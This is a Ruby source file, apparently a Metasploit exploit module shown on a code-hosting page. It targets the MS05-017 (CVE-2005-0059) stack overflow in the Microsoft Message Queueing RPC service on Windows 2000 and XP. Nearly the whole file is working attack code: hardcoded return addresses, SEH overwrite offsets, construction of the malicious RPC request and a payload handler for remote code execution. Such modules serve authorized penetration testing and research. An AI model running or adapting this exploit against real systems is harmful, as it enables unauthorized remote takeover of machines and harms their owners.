126 lines
3.4 KiB
Ruby
126 lines
3.4 KiB
Ruby
require 'msf/core'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Windows::Dcerpc::MS05_017_MSMQ < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::DCERPC
|
|
include Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft Message Queueing Service MSO5-017',
|
|
'Description' => %q{
|
|
This module exploits a stack overflow in the RPC interface
|
|
to the Microsoft Message Queueing service. The offset to the
|
|
return address changes based on the length of the system
|
|
hostname, so this must be provided via the 'HNAME' option.
|
|
Much thanks to snort.org and Jean-Baptiste Marchand's
|
|
excellent MSRPC website.
|
|
|
|
},
|
|
'Author' => [ 'hdm' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '15458'],
|
|
[ 'CVE', '2005-0059'],
|
|
[ 'MSB', 'MS05-017'],
|
|
[ 'MIL', '41'],
|
|
|
|
],
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Windows 2000 ALL / Windows XP SP0-SP1 (English)',
|
|
{
|
|
'Platform' => 'win',
|
|
'Rets' => [ 0x004014e9, 0x01001209 ] # mqsvc.exe
|
|
},
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Apr 12 2005',
|
|
'DefaultTarget' => 0))
|
|
|
|
# Change the default port values to point at MSMQ
|
|
register_options(
|
|
[
|
|
Opt::RPORT(2103),
|
|
OptString.new('HNAME', [ true, "The NetBIOS hostname of the target" ]),
|
|
], self)
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
# MSMQ supports three forms of queue names, the two we can use are
|
|
# the IP address and the hostname. If we use the IP address via the
|
|
# TCP: format, the offset to the SEH frame will change depending on
|
|
# the length of the real hostname. For this reason, we force the user
|
|
# to supply us with the actual hostname.
|
|
|
|
# Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName
|
|
|
|
queue_name = "OS:#{datastore['HNAME']}";
|
|
queue_nlen = queue_name.length * 2
|
|
queue_path = unicode(queue_name + "\\PRIVATE\$\\")
|
|
|
|
|
|
buf = Rex::Text.rand_text_englishtext(4000, payload_badchars)
|
|
|
|
# Windows 2000 SEH offset goes first
|
|
buf[332 + queue_nlen + 0, 4] = [ target['Rets'][0] ].pack('V')
|
|
buf[332 + queue_nlen - 4, 2] = "\xeb\x22"
|
|
|
|
# Windows XP SEH offset goes second
|
|
seh = generate_seh_payload(target['Rets'][1])
|
|
buf[368 + queue_nlen - 4, seh.length] = seh
|
|
|
|
|
|
# Append the path to the location and null terminate it
|
|
queue_path << buf << "\x00\x00"
|
|
|
|
# Get the unicode length of this string
|
|
queue_plen = queue_path.length / 2
|
|
|
|
# Stick the RPC stub header on and set the request length
|
|
stubdata = [1, 1, 1, 3, 3, 2].pack('VVVVVV')
|
|
stubdata << [queue_plen, 0, queue_plen].pack('VVV')
|
|
stubdata << queue_path
|
|
|
|
# Bind to the MSMQ interface
|
|
res = self.dcerpc_bind('MSMQ')
|
|
return if not res
|
|
|
|
# Call the vulnerable function
|
|
res = self.dcerpc_call(0, stubdata)
|
|
|
|
# Did we receive an error response?
|
|
if (res)
|
|
case res.stub_data
|
|
when "\x20\x00\x0e\xc0"
|
|
print_status("The server rejected our request, the HNAME parameter could be incorrect")
|
|
when "\x1e\x00\x0e\xc0"
|
|
print_status("The server does not appear to be exploitable")
|
|
else
|
|
print_status("An unknown response was received from the server:")
|
|
print_status(">> " + res.stub_data.unpack("H*"))
|
|
end
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|
|
end
|